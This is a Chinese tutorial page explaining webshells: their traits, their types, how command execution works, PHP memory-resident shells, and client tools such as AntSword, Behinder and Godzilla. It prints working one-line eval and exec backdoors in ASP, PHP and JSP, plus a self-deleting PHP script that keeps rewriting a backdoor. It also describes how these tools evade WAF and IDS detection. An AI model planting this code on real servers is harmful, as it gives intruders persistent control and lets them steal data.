文章目录

  • 一、WebShell简介
  • 二、WebShell特点
  • 三、WebShell分类
  • 四、WebShell原理
  • 五、内存马
  • 六、WebShell管理工具

一、WebShell简介

Webshell就是以aspphpjspcgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门

“web”的含义是显然 需要服务器开放web服务,“shell”的含义是 取得对服务器某种程度上操作权限
webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。
由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。

黑客在入侵了一个网站后,通常会将asp或php后门文件与网站目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。步骤简写如下:

入侵网站
将ASP或PHP等后门文件混入正常网页文件
通过网页访问后门文件
得到命令执行环境
控制网站服务器

Shell文件可从服务器那边接收数据并执行、返回结果;也就是说我们只要把 shell 文件上传到目标服务器,就能操控服务器了。

利用Webshell可以在Web服务器上执行系统命令、窃取数据、植入病毒、Le索核心数据、SEO挂马等恶意操作,危害极大。

对于网站管理员来说,shell 文件也可以用于 网站管理、服务器管理、数据库管理 等。根据FSO权限的不同,作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等。

二、WebShell特点

黑客使用Webshell的第一步通常是将其上传到可以访问的服务器中
例如利用用户CMS系统的第三方插件中的漏洞上传一个简单的php Webshell。

当然,Webshell类型和作用也不完全相同
一些简单的Webshell只起到连接外界的作用,允许黑客插入更加精准的恶意脚本,执行他们所需要的指令;
另外一些则可能更加复杂,带有数据库或文件浏览器,让黑客能够从数千英里之外的地方查看入侵系统的代码和数据。
无论何种设计,Webshell都极其危险,是网络罪犯和高级持续威胁(APT)的常用工具。

Webshell常见的攻击特点主要有以下几点:

1、持久化远程访问
Webshell脚本通常会包含后门,黑客上传Webshell之后,就可以充分利用Webshell的后门实现远程访问并控制服务器,从而达到长期控制网站服务器的目的。此外,在上传完Webshell之后,黑客会选择自己修复漏洞,以确保没有其他人会利用该漏洞。通过这种方式,黑客就可以一种低调的姿态,避免与管理员进行任何交互,同时仍然获得相同的结果。

2、提权
在服务器没有配置错误的情况下,Webshell将在web服务器的用户权限下运行,而用户权限是有限的。通过Webshell,黑客可以利用系统上的本地漏洞来实现权限提升,从而获得Root权限,这样黑客基本上可以在系统上做任何事情,包括安装软件、更改权限、添加和删除用户、窃取密码、阅读电子邮件等等。

3、隐蔽性极强
Webshell可以嵌套在正常网页中运行,且不容易被查杀。它还可以穿越服务器防火墙,由于与被控制的服务器或远程主机交互的数据都是通过80端口传递,因此不会被防火墙拦截,在没有记录流量的情况下,Webshell使用post包发送,也不会被记录在系统日志中,只会在Web日志中记录一些数据提交的记录。

三、WebShell分类

Webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,JSP脚本木马,也有基于.NET的脚本木马。根据时代和技术的变迁,也有用python和lua编写的脚本木马,常用有如下几种:

大马
体积大,功能全;会调用系统关键函数;以代码加密进行隐藏

小马
体积小,功能少;一般只有一个上传功能,用于上传大马

一句话木马
代码短;使用场景大,可单独生成文件,可插入文件;安全性高,隐藏性强,可变形免杀;框架不变,数据执行,数据传递;
使用客户端管理webshell,省去使用命令行以及各种参数配置,可以使用中国蚁剑图形化操作webshell

打包马
主要用于打包网站源码

拖库马
主要用于导出网站数据库

内存马
无文件落地;极难检测和发现;难以清除

注:本文之后所讲的WebShell就是指一句话木马

四、WebShell原理

Webshell的恶意性表现在它的实现功能上,是一段带有恶意目的的正常脚本代码。

不同脚本类型的一句话木马:

<%eval request("cmd")%>
<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
<?php @eval($_POST['cmd']); ?>
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>


PHP一句话木马核心步骤如下:

1、数据传递

$_GET、$_POST、$_COOKIES、$_REQUEST、$_FILE、$_SERVER

远程远程URL中获取数据: file_get_contentscurlsvn_checkout
(将需要执行的指令数据放在远程URL中,通过URL_INCLUDE来读取)

本地磁盘文件中获取数据: filefile_get_contents
(将需要执行的指令数据放在本地磁盘文件中,利用IO函数来读取)

数据库中读取(将需要执行的指令放在数据库中,利用数据库函数来读取)

图片头部中获取: exif_read_data…(将需要执行的指令数据放在图片头部中,利用图片操作函数来读取)

2、代码执行

将用户传输的数据进行执行

代码执行函数evalassertsystem…执行(这是最普通、标准的代码执行)

LFI(本地文件包含):includerequire…(利用浏览器的伪协议将文件包含转化为代码执行)

动态函数执行:($()…PHP的动态函数特性)

Curly Syntax:(${${…}}…它将执行花括号间的代码,并将结果替换回去。这种思路可以把变量赋值的漏洞转化为代码执行的机会)

五、内存马

这里以PHP的脚本木马为主。

内存马无文件攻击的一种常用手段,随着攻防演练热度越来越高:攻防双方的博弈,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,内存马使用越来越多。

Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。

PHP内存马,也叫做PHP不死马、不死僵尸,在线下AWD中是常用手段之一。
在蚁剑中也有专门的插件可以一键注入内存马。
原理也很简单,相对于Java可以直接把整个shell写入内存,php内存马的实现则是将一个木马反复写入,达到无法删除的目的

<?php
ignore_user_abort(true); //设置客户端断开连接时是否中断脚本的执行
set_time_limit(0); //设置脚本最大执行时间,linux下可能不大好用
unlink(__FILE__); //删除自身
$file = 'shell.php';
$code = '<?php @eval($_POST["cmd"]);?>';
while (1) {file_put_contents($file, $code);//恶意代码
usleep(5000); //延迟执行可有可无
}
?>

本质上原理是不变大,执行死循环,然后删除自身。但实际上这样做还是会有文件落地,只是管理员删不掉、删不完罢了。
我们也可以用利用fastcgi对php攻击执行命令,但这样是否算一个驻留wenshell还有待争议。

六、WebShell管理工具

中国菜刀(Chopper)
中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理!在非简体中文环境下使用,自动切换到英文界面。UNICODE方式编译,支持多国语言输入显示。
官方网站:http://www.maicaidao.com/

中国蚁剑(AntSword)
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。是一款非常优秀的webshell管理工具。使用编/解码器进行流量混淆可绕过WAF,并且有多款实用插件。
因为菜刀也许有后门(偷shell),不放心可以用蚁剑,蚁剑还可以看源码,功能也比菜刀强些。
项目地址:
https://github.com/AntSwordProject/antSword

冰蝎(Behinder)
冰蝎是一款基于Java开发的动态二进制加密通信流量的新型Webshell客户端,由于它的通信流量被加密,使用传统的WAF、IDS等设备难以检测,目前在HW中使用较多的一款工具。下载下来的文件夹server 里的都是木马。
功能介绍原文链接:
《利用动态二进制加密实现新型一句话木马之客户端篇》 https://xz.aliyun.com/t/2799
工作原理原文链接:
《利用动态二进制加密实现新型一句话木马之Java篇》 https://xz.aliyun.com/t/2744
《利用动态二进制加密实现新型一句话木马之.NET篇》 https://xz.aliyun.com/t/2758
《利用动态二进制加密实现新型一句话木马之PHP篇》 https://xz.aliyun.com/t/2774
项目地址:
http://github.com/rebeyond/Behinder

哥斯拉(Godzilla)
哥斯拉是一款继冰蝎之后又一款于Java开发的加密通信流量的新型Webshell客户端,内置了3种有效载荷以及6种加密器,6种支持脚本后缀,20个内置插件,也是目前在HVV中使用较多的一款工具。
项目地址:https://github.com/BeichenDream/Godzilla

weevely
weevely 是 Linux 系统自带的菜刀,使用python编写的webshell工具,集webshell生成和连接于一身,采用c/s模式构建,可以算作一款 php菜刀 替代工具,具有很好的隐蔽性。
在linux上使用时还是很好的,集服务器错误配置审计,后门放置,暴力破解,文件管理,资源搜索,网络代理,命令执行,数据库操作,系统信息收集及端口扫描等功能。

WebShell基础详解(特点、原理、分类、工具)相关推荐

  1. ipv6单播地址包括哪两种类型_IPv6基础详解,地址分类,基本IPv6配置,两分钟快速掌握...

    一.IPv6基础 1.IPv6地址总长度为128比特,冒分十六进制,地址中包含的连续两个或多个均为0的组,可以用双冒号"::"来代替 2.IPv6地址分为两部分: 网络前缀(相当于 ...

  2. P2P技术详解(一):NAT详解——详细原理、P2P简介(转)

    这是一篇介绍NAT技术要点的精华文章,来自华3通信官方资料库,文中对NAT技术原理的介绍很全面也很权威,对网络应用的应用层开发人员而言有很高的参考价值. <P2P技术详解>系列文章 ➊ 本 ...

  3. 015. P2P技术详解(一):NAT详解——详细原理、P2P简介

    http://www.52im.net/thread-50-1-1.html 这是一篇介绍NAT技术要点的精华文章,来自华3通信官方资料库,文中对NAT技术原理的介绍很全面也很权威,对网络应用的应用层 ...

  4. 视频教程-FPS游戏逆向与安全+UE4引擎基础详解-其他

    FPS游戏逆向与安全+UE4引擎基础详解 想把自己的知识传播出去,让更多人学习到 苏瑞兵 ¥188.00 立即订阅 扫码下载「CSDN程序员学院APP」,1000+技术好课免费看 APP订阅课程,领取 ...

  5. 主线剧情03-NXP-i.MX系列的u-boot移植基础详解

    u-boot 移植基础详解 本文系广泛撷取.借鉴和整理(相关的内容在网络上有很多,但很多相互抄,或者是版本太老,或者就是不通用的非常有平台针对性的步骤,碎片化泛滥,甚至就是有待分拣的垃圾厂,当然也有一 ...

  6. Batch Normalization详解(原理+实验分析)

    Batch Normalization详解(原理+实验分析) 1. 计算过程 2. 前向传播过程 3. 反向传播过程 4. 实验分析 4.1 实验一:验证有没有BatchNorm下准确率的区别 4.2 ...

  7. 【云原生之k8s】k8s基础详解

    [云原生之k8s]k8s基础详解 前言 一.kubernetes介绍 (1)kubernetes简介 (2)应用部署方式的演变 二.kubernetes组件 (1)kubernetes架构 (2)ma ...

  8. 新书推荐 |《5G NR物理层技术详解:原理、模型和组件》

    新书推荐 <5G NR物理层技术详解:原理.模型和组件> 点击上图了解及购买 5G专家和学者撰写,详解5G NR物理层技术(包括波形.编码调制.信道仿真和多天线技术等)及其背后的成因,爱立 ...

  9. BIOS设置基础详解

    BIOS设置基础详解AMI BIOS设置 开机显卡自检测完成后,点击<DEL键>即可进入AMI BIOS SETUP设置界面主菜单. 进入了AMI BIOS NEW SETUP UTILI ...

最新文章

  1. C++成员变量指针和成员函数指针【The semantics of funcitons】
  2. sed 每次只替换一行
  3. Matlab 集群计算平台搭建
  4. 【C++基础】STL迭代器
  5. oracle分区存储过程示例,Oracle 存储过程示例
  6. 《论文笔记》Collaborative Visual Inertial SLAM for Multiple Smart Phones
  7. DokuWiki的发现之旅
  8. vue切换路由的时候,如何让右侧滚动条滚动到顶部呢?
  9. U盘安装系统时黑屏! 无法进入解决办法
  10. Java类和对象(重点详解)
  11. 为什么大部分人,会对南北经济“差距”产生误解?
  12. Linux 系统中如何恢复已删除的文件?
  13. window+mysql+免安装_mysql 5.7.18 免安装版window配置方法
  14. vscode 报Open a folder or workspace... (File -> Open Folder)解决办法
  15. 014_SSS_High-Resolution Image Synthesis with Latent Diffusion Models
  16. 《连线》长文特写李飞飞:已识乾坤大,犹怜草木青
  17. 手机共享电脑的proxy网络
  18. 你不知道的浏览器页面渲染机制
  19. 谈谈企业信息化 一种比较简单、灵活的产品物料多单位实现方案
  20. 荷兰国土不大,人口不多,为什么有那么多世界级大公司?

热门文章

  1. VS2019代码编辑器窗口分屏
  2. codeves天梯 合唱队形
  3. 跨越:迈过成长阶梯的断层
  4. 电脑的硬盘转速5400rmp够不够用
  5. R语言载入rjava
  6. HTML5期末大作业:校园篮球网页网站设计源码(5页) HTML+CSS+JavaScript 大学生体育运动网页设计模板代码 校园篮球网页作业成品 学校篮球网页制作模板 学生简单体育运动网站设计成品
  7. 【整理】双模双待、双卡双待、双模双待双通、双频手机
  8. 阿里巴巴-鹿班实验室算法实现系列——颜色识别
  9. 网站建设——部署与发布步骤(基于阿里云)
  10. 电脑浏览器页面跑到最左侧,无法移动